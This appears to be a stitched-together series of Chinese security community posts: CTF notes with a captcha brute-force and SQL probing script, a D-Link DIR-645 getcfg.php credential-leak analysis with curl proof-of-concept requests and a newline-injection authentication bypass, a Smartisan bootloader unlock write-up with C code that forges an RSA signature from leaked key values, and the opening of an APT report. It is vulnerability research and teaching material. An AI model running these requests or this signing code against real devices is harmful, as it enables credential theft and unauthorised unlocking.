no-repeat}.icon-up{background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAmlJREFUeNpsU0toU0EUPfPysx/tTxuDH9SCWhUDooIbd7oRUUTMouqi2iIoCO6lceHWhegy4EJFinWjrlQUpVm0IIoFpVDEIthm0dpikpf3ZuZ6Z94nrXhhMjM3c8895977BBHB2PznK8WPtDgyWH5q77cPH8PpdXuhpQT4ifR9u5sfJb1bmw6VivahATDrxcRZ2njfoaMv+2j7mLDn93MPiNRMvGbL18L9IpF8h9/TN+EYkMffSiOXJ5+hkD+PdqcLpICWHOHc2CC+LEyA/K+cKQMnlQHJX8wqYG3MAJy88Wa4OLDvEqAEOpJd0LxHIMdHBziowSwVlF8D6QaicK01krw/JynwcKoEwZczewroTvZirlKJs5CqQ5CG8pb57FnJUA0LYCXMX5fibd+p8LWDDemcPZbzQyjvH+Ki1TlIciElA7ghwLKV4kRZstt2sANWRjYTAGzuP2hXZFpJ/GsxgGJ0ox1aoFWsDXyyxqCs26+ydmagFN/rRjymJ1898bzGzmQE0HCZpmk5A0RFIv8Pn0WYPsiu6t/Rsj6PauVTwffTSzGAGZhUG2F06hEc9ibS7OPMNp6ErYFlKavo7MkhmTqCxZ/jwzGA9Hx82H2BZSw1NTN9Gx8ycHkajU/7M+jInsDC7DiaEmo1bNl1AMr9ASFgqVu9MCTIzoGUimXVAnnaN0PdBBDCCYbEtMk6wkpQwIG0sn0PQIUF4GsTwLSIFKNqF6DVrQq+IWVrQDxAYQC/1SsYOI4pOxKZrfifiUSbDUisif7XlpGIPufXd/uvdvZm760M0no1FZcnrzUdjw7au3vu/BVgAFLXeuTxhTXVAAAAAElFTkSuQmCC) left top no-repeat}
</style>
</head>
<body>
<h1 id="heading">Index of <?php echo urldecode($path);?></h1>
<table id="table">
<tr><th class="file-name">Name</th><th class="file-size">Size</th><th class="file-date-created">Date Created</th><th class="file-date-modified">Date Modified</th></tr>
<?php foreach((array)$items as $item):?>
<tr>
<td class="file-name"><a href="<?php echo readimg($item['name']);?>" class="icon <?php echo $type;?>"><?php echo $item['name'];?></a></td>
<td class="file-size"><?php echo $item['size'];?></td>
<td class="file-date-created"><?php echo $item['date'];?></td>
<td class="file-date-modified"><?php echo $item['Date_modify'];?></td>
</tr>
<?php endforeach;?>
</table>
</body>
</html>
感觉这台88的应该就是dc，但是445打不通，在80端口上面给了个Kerberos的提示，一直到比赛结束也没想到怎么做。:(
### sql_manage部分思路
源码：http://47.91.213.248:8000/www.zip
//Query.py
public function getcode()
{
$code_str = "substr(md5(?+'Nu1L'), 0, 5) === $this->session_code";
return $code_str;
}
//substr(md5(?+'Nu1L'), 0, 5) === 258fc
#!/usr/bin/env python
# -*- coding: utf-8 -*- # @Date : 2019-09-06 21:16:35
import requests
import re
import hashlib
s = requests.session()
header = {
'Cookie': 'PHPSESSID=ri6vv8t94r501ldrd95mjcm4is'
}
def baopoyanzhengma_md5(string):
string = string
result = []
for i in range(10000000,99999999):
test = str(i)+'Nu1L'
if hashlib.md5(test.encode("utf-8")).hexdigest()[:5] == string:
result.append(i)
break
return result
def getcode():
getcodeurl = 'http://47.91.213.248:8000/getcode'
res = s.get(url=getcodeurl,headers=header)
precode = re.findall("=== (.*)",res.text)[0]
return baopoyanzhengma_md5(precode)
def sendquery(code):
queryurl = 'http://47.91.213.248:8000/query'
data = {
'query':'select version();',
'code':code,
'dbname':'Nu1L'
}
res = s.post(url=queryurl,data=data,headers=header)
print(res.text)
sendquery(getcode())
select version();
[["5.6.16-1~exp1"]]
select database();
[["Nu1L"]]
show databases;
[["information_schema"],["Nu1L"]]
select @@datadir;
[["\/var\/lib\/mysql\/"]]
select @@basedir;
[["\/usr"]]
select @@version_compile_os, @@version_compile_machine;
[["debian-linux-gnu","x86_64"]]
select @@plugin_dir ;
[["\/usr\/lib\/mysql\/plugin\/"]]
show variables like \'plugin%\';'
[["plugin_dir","\/usr\/lib\/mysql\/plugin\/"]]
function query_sql($conn, $query)
{
if(preg_match('/sleep|BENCHMARK|GET_LOCK|information_schema|into.+?outfile|into.+?dumpfile|\/\*.*\*\//is', $query)) {
die('Go out!!!');
}
$result = $conn->query($query);
if(!$result){
return mysqli_error($conn);
}elseif($result->num_rows>0){
return json_encode($result->fetch_all());
}else{
return "no result";
}
$conn->close();
}
文件操作权限
[[secure_auth,ON],[secure_file_priv,\/tmp\/]]
[["GRANT FILE ON *.* TO 'Smi1e'@'localhost' IDENTIFIED BY PASSWORD '*339E812B15121CF39F5ED8E0599F13BE1942C3D3'"],["GRANT SELECT ON `Nu1L`.* TO 'Smi1e'@'localhost'"]]
配置文件
show variables like \'%general%\';
[["general_log","OFF"],["general_log_file","\/var\/lib\/mysql\/78f82a4ba850.log"]]
后面应该是找调用链，对框架不熟，太菜了，膜NESE的大佬，做不动了 XD | 社区文章 |
这个漏洞似乎在Dlink很多的产品都存在，此次分析主要是针对dir-645，将该漏洞点从1.02到1.04都分析一遍。
## 漏洞描述
出现问题的页面是`getcfg.php`，`1.02`及其之前，由于没有校验，可直接访问导致信息泄露；`1.02`之后，虽然有权限的检查，但是由于`cgibin`程序中代码逻辑出现了问题，导致可绕过校验，实现泄露。
## 漏洞复现
在官网下载固件，版本是1.02；1.03版本的固件链接以及1.04版本的固件链接。
针对1.02版本固件的[poc代码](https://vuldb.com/?id.7843)如下：
curl -d SERVICES=DEVICE.ACCOUNT http://xx.xx.xx.xx/getcfg.php
可以看到成功获取admin账号与密码。
<uid>USR-</uid>
<name>admin</name>
<usrid></usrid>
<password>Haan1324</password>
1.03的poc代码
curl -d "SERVICES=DEVICE.ACCOUNT&attack=ture%0aAUTHORIZED_GROUP=1" "http://xx.xx.xx.xx/getcfg.php"
可以看到，能成功获取帐号与密码（admin帐号为空口令）。
同时使用1.02的poc进行测试，看到返回的结果是未授权。
尝试在1.04上进行测试，也是可行，尝试在1.05、1.06上进行测试，仍然成功，这个洞在`dir-645`上面好像没有修补的感觉。
## 漏洞分析
上一步已经将固件下载下来了，用binwalk将固件解压。
首先对1.02版本的漏洞进行分析，根据poc：
curl -d SERVICES=DEVICE.ACCOUNT http://xx.xx.xx.xx/getcfg.php
直接访问的`getcfg.php`页面，文件在`/htdocs/web/getcfg.php`中。关键代码如下：
$SERVICE_COUNT = cut_count($_POST["SERVICES"], ",");
TRACE_debug("GETCFG: got ".$SERVICE_COUNT." service(s): ".$_POST["SERVICES"]);
$SERVICE_INDEX = 0;
while ($SERVICE_INDEX < $SERVICE_COUNT)
{
$GETCFG_SVC = cut($_POST["SERVICES"], $SERVICE_INDEX, ",");
TRACE_debug("GETCFG: serivce[".$SERVICE_INDEX."] = ".$GETCFG_SVC);
if ($GETCFG_SVC!="")
{
$file = "/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php";
/* GETCFG_SVC will be passed to the child process. */
if (isfile($file)=="1") dophp("load", $file);
}
$SERVICE_INDEX++;
}
可以看到在没有经过任何的权限检查的情况下，程序直接获取`SERVICES`参数，并将其解析为`$GETCFG_SVC`变量，并最终拼接成`"/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php"`路径，直接调用`dophp("load",
$file)`将文件读取出来，从而形成了文件包含漏洞。
至于包含啥文件，从poc里面可以看到此处包含的是`/htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml.php`，正是该php文件导致了帐号密码泄露。关键代码如下：
foreach("/device/account/entry")
{
if ($InDeX > $cnt) break;
echo "\t\t\t<entry>\n";
echo "\t\t\t\t<uid>". get("x","uid"). "</uid>\n";
echo "\t\t\t\t<name>". get("x","name"). "</name>\n";
echo "\t\t\t\t<usrid>". get("x","usrid"). "</usrid>\n";
echo "\t\t\t\t<password>". get("x","password")."</password>\n";
echo "\t\t\t\t<group>". get("x", "group"). "</group>\n";
echo "\t\t\t\t<description>".get("x","description")."</description>\n";
echo "\t\t\t</entry>\n";
}
到这里1.02版本的信息泄露成因分析结束。
查看1.03版本之后的成因，根据poc，可以看到是在post数据中加入了`attack=ture%0aAUTHORIZED_GROUP=1`。
curl -d "SERVICES=DEVICE.ACCOUNT&attack=ture%0aAUTHORIZED_GROUP=1" "http://xx.xx.xx.xx/getcfg.php"
首先分析之前的poc失败的原因，查看1.03版本文件系统中的`getcfg.php`，文件目录仍然是`/htdocs/web/getcfg.php`,关键代码如下：
if(is_power_user() == 1)
{
/* cut_count() will return 0 when no or only one token. */
$SERVICE_COUNT = cut_count($_POST["SERVICES"], ",");
TRACE_debug("GETCFG: got ".$SERVICE_COUNT." service(s): ".$_POST["SERVICES"]);
$SERVICE_INDEX = 0;
while ($SERVICE_INDEX < $SERVICE_COUNT)
{
$GETCFG_SVC = cut($_POST["SERVICES"], $SERVICE_INDEX, ",");
TRACE_debug("GETCFG: serivce[".$SERVICE_INDEX."] = ".$GETCFG_SVC);
if ($GETCFG_SVC!="")
{
$file = "/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php";
/* GETCFG_SVC will be passed to the child process. */
if (isfile($file)=="1") dophp("load", $file);
}
$SERVICE_INDEX++;
}
}
else
{
/* not a power user, return error message */
echo "\t<result>FAILED</result>\n";
echo "\t<message>Not authorized</message>\n";
}
可以看到之前的poc失败应该是因为`is_power_user()`返回失败，所以导致输出未授权信息。
查看`is_power_user()`函数：
function is_power_user()
{
if($_GLOBALS["AUTHORIZED_GROUP"] == "")
{
return 0;
}
if($_GLOBALS["AUTHORIZED_GROUP"] < 0)
{
return 0;
}
return 1;
}
只有在`$_GLOBALS`数组中存在`AUTHORIZED_GROUP`变量才且该值大于等于0才会返回1，在php文件中搜索`AUTHORIZED_GROUP`字符，并没有看起来比较是和登录相关并对`AUTHORIZED_GROUP`赋值的页面，因此应该是在cgi中赋值。
相应php请求的代码为`usr/sbin/phpcgi`，它是一个指向`/htdocs/cgibin`的链接：
$ ls -al ./usr/sbin/phpcgi
lrwxrwxrwx 1 raycp raycp 14 Jul 9 01:33 ./usr/sbin/phpcgi -> /htdocs/cgibin
因此去看`/htdocs/cgibin`文件：
$ file ./htdocs/cgibin
./htdocs/cgibin: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-, stripped
该文件是小端的mips
32程序，把它拖到ida里面，为了能看反编译代码，也将其拖到ghidra里面。同时为了有对比，也将1.02版本中的`/htdocs/cgibin`拖到ida以及ghidra里面进行对比分析。
main函数主要是一个函数分发，不同的cgi名称对应不同的处理函数，可以看到`phpcgi`对应的是`phpcgi_main`处理流程。
跟进去`phpcgi_main`函数，可以看到它用sobj_xxx系列函数来处理字符串，在网上找到了[源码](https://github.com/patrick-ken/MyNet_N900/blob/master/elbox_WRGND15/comlib/strobj.c)，可以进行参考，方便分析。
可以看到phpcgimain中最主要的工作是对请求参数、请求头进行解析，然后将执行权交给 php。
首先判断请求的方式是`HEAD`或`GET`，如果是的话则后续处理参数的函数则为`GetKeyValue`；如果为`POST`则后续处理参数的函数则为`PostKeyValue`，接着调用`cgibin_parse_request`。
该函数首先会判断传入的url中是否存在问号来判断请求方式，如果存在问号则直接将调用相应的函数处理方式`GetKeyValue`或`PostKeyValue`（感觉这样的判断是有问题的）。
如果为post则通过比对`CONTENT_TYPE`来找到相应的类型处理函数进行判断，并最终调用`PostKeyValue`。
因为poc中是post请求，因此主要看下`PostKeyValue`，对于每对传入的参数都会按照以键值对的形式（ `_TYPE_KEY=VALUE`
，TYPE 为 GET、POST、SERVER等），并以 `\n` 分隔储存到一字符串中。
对请求处理完成后，所有的参数都会以以键值对的形式，并以 `\n` 分隔储存到字符串中。
接着就是对用户权限进行验证，关键代码如下，程序调用了`sess_validate`来对session进行判断，最后的返回值以格式化字符串的形式保存到`AUTHORIZED_GROUP=%d`中，即这里就是产生`AUTHORIZED_GROUP`的地方，并也是在字符串最后加入了一个`\n`符，拼接到前面的字符串中。
然后调用`sobj_get_string`获取字符串后，调用`xmldbc_ephp`去最终执行php，`xmldb
client`的[源码](https://github.com/coolshou/DIR-850L_A1/blob/master/comlib/libxmldbc.c)也在网上找到了，有需要的可以看看。
到这里就可以比较直观的看到问题所在，传入的参数以键值对的形式保存在`sobj`结构体里（其实就是字符串），并以`\n`符分割，同时权限验证的返回值也以键值对的形式保存在该结构体中以换行符分割，并且参数中的值比后面权限的验证值还在字符串的前面一些。
若我们传入的参数中包含`AUTHORIZED_GROUP=0`，由于参数解析的时候会加入一个类型最终变成`_POST_AUTHORIZED_GROUP=0`，因此无法绕过检查。但是由于参数解析的时候是使用`&`分割，但是字符串又以`\n`分割，因此若我们在参数中加入`\n`，因此可以绕过检查。如传入`a=b\nAUTHORIZED_GROUP=0`，最终经过处理后会变成字复还`_POST_a=b\nAUTHORIZED_GROUP=0`，导致解析出来了`AUTHORIZED_GROUP=0`，从而得以绕过后续页面的验证，实现未授权访问，导致信息泄露。
### 动态验证
觉得对于后续的这个cgibin有进一步调试验证的需要以帮助理解该漏洞。
使用qemu用户模式来进行调试，调试脚本为`cgi_run_phpcgi.sh`，用命令`sudo
./cgi_run_phpcgi.sh`使用qemu运行`cgibin`，并监听端口`1234`，bash脚本内容如下：
#!/bin/bash
# sudo ./cgi_run.sh
INPUT=`python -c "print 'SERVICES=DEVICE.ACCOUNT&attack=ture\nAUTHORIZED_GROUP=1'"`
LEN=$(echo $INPUT | wc -c)
PORT="1234"
if [ "$LEN" == "0" ] || [ "$INPUT" == "-h" ] || [ "$UID" != "0" ]
then
echo -e "\nusage: sudo $0\n"
exit 1
fi
cp $(which qemu-mipsel-static) ./qemu
echo "$INPUT" | chroot . ./qemu -0 "/phpcgi" -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E REQUEST_URI="/getcfg.php" -E REMOTE_ADDR="127.0.0.1" -g $PORT ./htdocs/cgibin "/phpcgi" "/phpcgi"#2>/dev/null
echo "run ok"
rm -f ./qemu
脚本中需要说明的两点是使用`-0`指定第一次参数为`/phpcgi`，因为cgibin中判断cgi名称的为第一个参数，其次是`CONTENT_TYPE`为`application/x-www-form-urlencoded`，因为它在处理post参数时有比对`CONTENT_TYPE`，不同的type有不同的处理函数，使用`application/x-www-form-urlencoded`会方便一些。
程序运行起来后，使用gdb-multiarch调试cgibin，命令为`gdb-multiarch
./htdocs/cgibin`。有可能会因为gdb中存在bug导致调试出问题，此时可以尝试自己编译新版本的gdb来进行调试，将所有架构支持都添加进去（虽然最后pwndbg可能会报错，但是至少可以调试了），还有就是也可以使用ida调试，我这里是自己编译了个gdb进行调试，编译命令是（需要制定python3的目录）：
wget https://ftp.gnu.org/gnu/gdb/gdb-8.2.1.tar.gz
tar -xvf gdb-8.2.1.tar.gz
cd gdb-8.2.1
mkdir build
cd build
../configure --prefix=/usr --disable-nls --disable-werror --with-system-readline --with-python=/usr/bin/python3.6 --with-system-gdbinit=/etc/gdb/gdbinit --enable-targets=all
make -j7
sudo make install
同时想要卸载自己编译的gdb不能简单的`make uninstall`，根据[文章](https://nanxiao.me/how-to-uninstall-gdb？/)，需要进入每个子目录，分别执行`make uninstall`命令。
A clumsy workaround is to cd into each subdir in the build tree and do
make uninstall there.
最后开始之前再说明下`strobj`[结构体](https://github.com/patrick-ken/MyNet_N900/blob/master/elbox_WRGND15/comlib/strobj.c)，`sobj_add_string`以及`sobj_add_char`都是将字符串添加到结构体的`buff`中。
struct strobj
{
struct dlist_head list;
unsigned int flags;
size_t total; /* allocated size, not including the terminated NULL. */
size_t size; /* used size, not including the terminated NULL. */
char * buff; /* pointer to the buffer */
};
struct strobj_list
{
struct dlist_head head;
struct strobj * curr;
};
进入gdb调试，将断点下在`phpcgi_main`中的调用`cgibin_parse_request`处（0x405a00）。查看此时的`strobj`结构体。
(gdb) x/10wx 0x00435008
0x435008: 0x00435008 0x00435008 0x00000000 0x000008e0
0x435018: 0x000008c3 0x00435028 0x00000000 0x000008e9
0x435028: 0x7068702f 0x0a696763
可以看到此时的`buff`大小为`0x8e0`，已使用`0x8c3`，地址为`0x00435028`，字符串中的内容为：
(gdb) x/s 0x00435028
0x435028: "/phpcgi\n_SERVER_REMOTE_ADDR=127.0.0.1\n_SERVER_REQUEST_URI=/getcfg.php\n_SERVER_REQUEST_METHOD=POST\n_SERVER_CONTENT_TYPE=application/x-www-form-urlencoded\n_SERVER_CONTENT_LENGTH=55\n_SERVER__=/usr/sbin/c"...
单步执行，执行完`cgibin_parse_request`函数后，查看该结构体：
(gdb) x/10wx 0x00435008
0x435008: 0x00435008 0x00435008 0x00000000 0x00000920
0x435018: 0x00000907 0x004359e8 0x00000000 0x000008e9
0x435028: 0x7f7ab654 0x7f7ab654
因为`realloc`调整堆的原因，`buff`地址已经变成了`0x004359e8`，此时已使用大小为`0x00000907`，查看新添加进去的post参数的内容：
(gdb) x/s 0x004359e8+0x8c3
0x4362ab: "_POST_SERVICES=DEVICE.ACCOUNT\n_POST_attack=ture\nAUTHORIZED_GROUP=1\n\n"
可以看到正如分析的一样，参数是以键值对的形式存储，以换行符分割，且会在键值前面加入`_TYPE_`。因此可以在参数中伪造换行符实现字符串的构造，可以看到此时也伪造了`AUTHORIZED_GROUP=1`进去。
接着一直运行，直到运行至`session`判断完毕，即将真正的`AUTHORIZED_GROUP`添加到结构体中的部分。断点下在最后的`sobj_get_string`处（0x405b6c），查看结构体：
(gdb) x/10wx 0x00435008
0x435008: 0x00435008 0x00435008 0x00000000 0x00000920
0x435018: 0x00000907 0x004359e8 0x00000000 0x000008e9
0x435028: 0x7f7ab654 0x7f7ab654
查看post参数之后的字符串：
0x00405b6c in phpcgi_main ()
(gdb) x/s 0x004359e8+0x8c3
0x4362ab: "_POST_SERVICES=DEVICE.ACCOUNT\n_POST_attack=ture\nAUTHORIZED_GROUP=1\n\nAUTHORIZED_GROUP=-1\nSESSION_UID=\n"
可以看到此时加入的正是`AUTHORIZED_GROUP=-1`，但是由于前面已经插入了一个`AUTHORIZED_GROUP=1`，导致了后面php对`AUTHORIZED_GROUP`的认证绕过，从而实现非授权的敏感信息的读取。
## 小结
除了`getcfg.php`之外，该固件中的`htdocs/webinc/fatlady.php`也可以形成信息泄露，原理一致。
对于漏洞来说，千里之堤，溃于蚁穴。对于自己，还是要注意细节，多看看学。
相关文件与脚本链接[github](https://github.com/ray-cp/Vuln_Analysis/tree/master/D-Link-dir-645-rce)
## 参考链接
1. [D-LINK DIR-645 FIRMWARE 1.02 AUTHENTICATION /GETCFG.PHP SERVICES INFORMATION DISCLOSURE](https://vuldb.com/?id.7843)
2. [D-Link 850L&645路由漏洞分析](https://xz.aliyun.com/t/2941#toc-4)
3. [D-Link Routers 110/412/615/815 Arbitrary Code Execution](https://packetstormsecurity.com/files/145859/dlinkroutersservice-exec.txt)
4. [路由器漏洞挖掘之 DIR-805L 越权文件读取漏洞分析](https://www.anquanke.com/post/id/175625)
5. [关于D-Link DIR 8xx漏洞分析](http://www.qingpingshan.com/pc/aq/330349.html)
6. [strobj 系列函数相关源码](https://github.com/patrick-ken/MyNet_N900/blob/master/elbox_WRGND15/comlib/strobj.c)
7. [dlink_auth_rce](https://github.com/ChiefyChief/dlink_shell_poc/blob/master/dlink_auth_rce)
8. [xmldb client相关源码](https://github.com/coolshou/DIR-850L_A1/blob/master/comlib/libxmldbc.c) | 社区文章 |
作者：[盘古实验室](http://blog.pangu.io/)
### 关于bootloader锁
Smartisan是手机中为数不多倾心于工业设计和用户体验的。老罗跨界过猛，也难免导致其最初的想法和现实存在差距。bootloader到底锁还是不锁，甚至曾被一个T1用户弄上法庭来质问。
当然，能从认为加锁是对系统的不自信，到后来发现解锁是安全隐患，绝对是个进步（loser口中的打脸）。技术层面来说，究竟T系列手机的bootloader能不能解锁呢？答案是，能。或者说，本来不能，但由于bootloader里存在的两个漏洞，恰好可解。
### 分析bootloader
正像Smartisan OS本身，其ROM目录结构也是极简的。firmware-update目录下`emmc_appsboot.mbn`就是bootloader镜像。由于是ELF格式，不需要更多的处理，就能逆向出不错的代码结构。无论是T1还是T2，bootloader的代码差不多，下面的分析选择的是T2的2.6版的ROM。
和很多高通芯片的手机一样，T2的bootloader是基于高通开源的lk。所以参考源码，可以很快梳理出bootloader的执行流程。启动后，根据按键组合，决定是否进入recovery，如果继续留在bootloader模式，就会注册一系列fastboot
command，循环等待用户输入，决定下一步动向，如图1。
图1.注册fastboot command
显然，`control_flag`为0的话，`cmd_table`中只有前四条命令被注册，后续命令就都无法使用了。通过观察`cmd_table`（如图2），可以发现那些真正令人激动的函数（比如oem
unlock）都在比较靠后的位置上。
图2.fastboot可以注册的命令列表
在搞清楚`control_flag`这个全局标记到底何去何从之前，不如先探探这仅存四条命令的究竟。reboot，reboot-bootloader命令正像他们的名字一样无趣，flash看起来就很有故事了。
执行flash命令时，如果`control_flag`为0，那就只能写一个名为security的分区。而`control_flag`为1时，所有其他分区就都可以写了，如图3所示：
图3.写分区时的判断
联想之前fastboot
command注册的过程，`control_flag`为0时，绝大部分功能无效，且分区不可写，`control_flag`应该就是`is_allow_unlock`，即bootloader是否上锁的标记。系统启动时，`is_allow_unlock`默认置0。当flash了security分区后，`is_allow_unlock`会有一次赋值操作，并且一旦赋值为1，就会提示解锁成功，如图4所示：
图4.对security分区的检测，判断是否可以解锁
分析到这里基本可以肯定，T2提供了解锁功能，关键是写入security分区的内容是否能够经得住考验。
### 解锁bootloader
verify_security()函数比较复杂，涉及很多密码学算法的演绎。好在它使用的是openssl的标准库函数，识别起来有章可循。security分区内容采用的是`RSA+MD5`签名校验。合理的猜测是，官方本来设计的解锁流程其他厂商类似，即用户提交手机的序列号等信息，然后通过unlock时输入厂商给的解锁码（根据序列号计算出来的签名信息），实现解锁。只不过这一次解锁码是通过写入security分区实现输入。
security[128]（security分区第128字节）是RSA初始化函数选择的依据，security[129]作为序列号长度。然后factory[5]（factory分区的第5字节）起始的序列号作为MD5的计算依据，得到的hash值和security[0-127]签名信息验证的结果做比，相同返回1，否则返回0。这几乎是每个签名验证的都在用的标准化流程，采用的算法成熟，且由openssl实现（难怪发布会几百万门票钱捐给了openssl），基本不会有瑕疵。由于bootloader只存放了公钥e，没有私钥d，手机用户自己是没办法构造出128字节的签名信息的。
不过，由于代码上一些不大不小的问题，我们恰好可以绕过这些限制，构造出和序列号无关的通用解锁码。首先在RSA初始化时，如图5和6，当`security[128]`为66和67以外的数值时，初始化函数被选择为`sub_F924A90`。
图5.根据security[128]指定的函数来初始化RSA密钥
图6.RSA密钥初始化
跟进`sub_F924A90`后，可以看见图6所示的密钥填充，`BN_bin2bn`是openssl的库函数，用于将内存中存放的Big-Endian字符数组转化为Bignum类型，方便RSA的内部计算。私钥d填写的是伪数值，但p和q都填写的是真值。侧面说明写这段代码的人不太了解RSA，毕竟其安全性完全依赖于大数分解的NP难，而现在n的两个素数因子p和q都给了，虽然本意是加快计算速度，但私钥d也就因而可以从公钥e推出来了，`d=e-1mod
(p-1)(q-1)`，这就导致了第一个逻辑漏洞，用于伪造签名。
接下来，如图7，完成了RSA的初始化以后，会接着从factory分区读取数据：
图7. 读取factory分区，得到序列号，然后计算MD5
究竟从factory分区读取多少字节是可控的，由security[129]决定。读取出来正常应该是一串字母开头后接一串数字的序列号，MD5后得到一串16字节的hash。最后利用RSA的公钥验证`security[0-127]`的128字节签名是否属于hash。
由于security[129]完全可控，就导致了第二个逻辑漏洞。如果该数指定为0，则MD5是针对一个空字符串进行计算的，计算结果总是`d41d8cd98f00b204e9800998ecf8427e`。所以无论是哪台手机，factory分区内容如何，签名验证将总是针对常量进行。只要构造该常量的签名写入security分区，就能够完成解锁。
为了减少padding，encoding等一系列开发可能造成的不确定性，在生成解锁码时，同样采用openssl的代码实现，示例如下：
#include <stdio.h>
#include <string.h>
#include <openssl/md5.h>
#include <openssl/crypto.h>
#include <openssl/rsa.h>
unsigned char m3_n[128] = {\
0xA4,0x0C, 0x69, 0x70, 0x25, 0x4F, 0x36, 0x49, 0x8E,\
0x83,0x4B, 0x74, 0x9A, 0x75, 0xC9, 0xF4, 0x7F, 0xE5,\
0x62,0xA8, 0xDE, 0x11, 0x13, 0x03, 0x57, 0x89, 0x31,\
0xCB,0x58, 0x84, 0xC8, 0x26, 0xBA, 0x2B, 0x60, 0xB5,\
0xB8, 0xA5, 0xD9, 0xBD, 0x27, 0x48, 0x3D,0x33, 0x38,\
0xA1,0x72, 0x62, 0x64, 0x87, 0x5E, 0x71, 0xF4, 0x1F,\
0xCB,0x68, 0x83, 0x92, 0xEA, 0x4B, 0xFF, 0x06, 0x38,\
0xAF,0xD5, 0x65, 0x55, 0x94, 0x04, 0x91, 0x88, 0xF7,\
0xA4,0x57, 0x72, 0x29, 0xFE, 0xEA, 0xB1, 0x27, 0x25,\
0xC1,0x12, 0x7D, 0x16, 0x6F, 0x13, 0xAF, 0xE2, 0x00,\
0x8D,0x5E, 0xA4, 0x0A, 0xB6, 0xF3, 0x71, 0x97, 0xC0,\
0xB0,0x60, 0xF5, 0x7C, 0x7F, 0xAA, 0xC4, 0x64, 0x20,\
0x3F,0x52, 0x0A, 0xA3, 0xC3, 0xEF, 0x18, 0xB6, 0x45,\
0x7D,0x72, 0x1E, 0xE2, 0x61, 0x0C, 0xD0, 0xD9, 0x1D,\
0xD0,0x5B\
};
unsigned char m3_e[1] = {3};
unsigned char m3_d[128] = {\
0x6d,0x5d,0x9b,0xa0,0x18,0xdf,0x79,0x86,0x5f,0x02,0x32,0x4d,0xbc,0x4e,0x86,0xa2,\
0xff,0xee,0x41,0xc5,0xe9,0x60,0xb7,0x57,0x8f,0xb0,0xcb,0xdc,0xe5,0xad,0xda,0xc4,\
0x7c,0x1c,0xeb,0x23,0xd0,0x6e,0x91,0x28,0xc4,0xda,0xd3,0x77,0x7b,0x16,0x4c,0x41,\
0x98,0x5a,0x3e,0xf6,0xa2,0xbf,0xdc,0xf0,0x57,0xb7,0x46,0xdd,0x54,0xae,0xd0,0x74,\
0x27,0xaa,0xad,0xf9,0xb9,0x33,0x8f,0x29,0x3b,0xf2,0xee,0x97,0x03,0x0b,0x5c,0xfc,\
0x92,0x95,0x6f,0x05,0xcd,0xbf,0x1c,0x77,0x16,0xce,0xd9,0x13,0xfb,0xf2,0x8f,0x74,\
0x09,0xca,0x78,0xf0,0xc7,0x4a,0xc2,0xc5,0xed,0x58,0xc1,0xfa,0xa1,0x6f,0x64,0x26,\
0x73,0x75,0x73,0x97,0x21,0xb4,0x01,0x13,0xad,0xd7,0xd5,0xbc,0x22,0x75,0x00,0xcb,\
};
int main(int argc, char*argv[]) {
MD5_CTX md5ctx;
unsigned chardigest[MD5_DIGEST_LENGTH];
unsigned charsigret[128];
unsigned int siglen;
unsigned chartestdata;
MD5_Init(&md5ctx);
MD5_Update(&md5ctx, &testdata, 0);
MD5_Final(digest, &md5ctx);
RSA *rsa =RSA_new();
rsa->n =BN_bin2bn(m3_n, 128, rsa->n);
rsa->e =BN_bin2bn(m3_e, 1, rsa->e);
rsa->d =BN_bin2bn(m3_d, 128, rsa->d);
RSA_sign(4,digest, 16, sigret, &siglen, rsa);
FILE *fp =fopen(“security.img”,”wb”);
fwrite(sigret, siglen, 1, fp);
fwrite(“\x40\x00”, 2, 1, fp);
fclose(fp);
return 0;
}
刷入`security.img`后，手机就可以解锁了。虽然上述分析是基于T2的ROM，T1也完全适用。如图8所示，T1刷入security.img同样可以解锁。
图8. T1刷入security.img后解锁
图9.T2刷入security.img后解锁
### And Then Some
2014年老罗在微博上提过关于bootloader方面的打算，“官方会提供 boot
loader，方便你刷机，只是刷机后会失保”，所以初代ROM里的确如我们所见保留了解锁bootloader的功能。2016年有人因为提供解锁而状告Smartisan，老罗胜诉后说道“我在微博上说过做bootloader，但技术部门因安全考虑否决了，我代表我自己道歉。”，所以肯定是取消了该功能。尽管官方从来没有发布过任何解锁的方法，底层代码倒是可以清晰反映出这段经历。
对于T1和T2，2.6.7是最后一个可以解锁的ROM版本号，2.6.8开始，fastboot command列表被改写为图10所示内容，大部分指令被阉：
图10. 2.6.8后的版本中fastboot已经没有什么实质功能了
所以如果要解锁3.x的Smartisan
OS，可以下载2.6.7的ROM完成降级，毕竟旧版本的ROM同样带有签名，使用recovery时允许刷入手机。更新到旧版的bootloader后，再用fastboot
flash security
security.img进行解锁。解锁后，每次升级用第三方无签名验证的recovery，更新除bootloader以外的模块即可。这样即便最新系统暂时没有公开的内核漏洞，也能root。
一般的Android手机，只要有签名认证的老版本bootloader里有漏洞，在系统没有开启限制（比如SW_ID）时，总可以通过降级，解锁，然后升级回新系统，刷入supersu的方式root。
* * * | 社区文章 |
# 年终盘点：南亚APT组织“群魔乱舞”，链条化攻击“环环相扣”
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
潜伏在大国政治与军事博弈对垒间，它们作为网络攻击的“最高武士”，长期枕戈待旦，只待一声军令下，便要踏平一国山与河。
【导读】岁末之际，360安全大脑公布了一份《南亚地区APT组织2019年度攻击活动总结》，报告显示：2019年间，南亚次大陆的APT组织不仅处在十分活跃的状态，同时，它还呈现出强烈的地缘政治倾向、明显的网络谍报特征、有计划有预谋的全链条攻击以及“攻心为上”的乔装战术。值得注意是，军工军贸、政府机关、外交机构、基础设施企业，这等重磅级单位企业成其火力全开地攻击目标，而目目标所属国度是：中国、巴基斯坦、孟加拉国和斯里兰卡等。此外，本次报告还聚焦于五大“热门”APT组织，并披露了这些APT以往从未公开的具体攻击细节。
南亚——喜马拉雅山中、西段以南及印度洋之间的广大地区，印度、巴基斯坦、孟加拉、斯里兰卡等国均位于此。由于政治及宗教等原因，这片大陆的局势一直不太稳定。
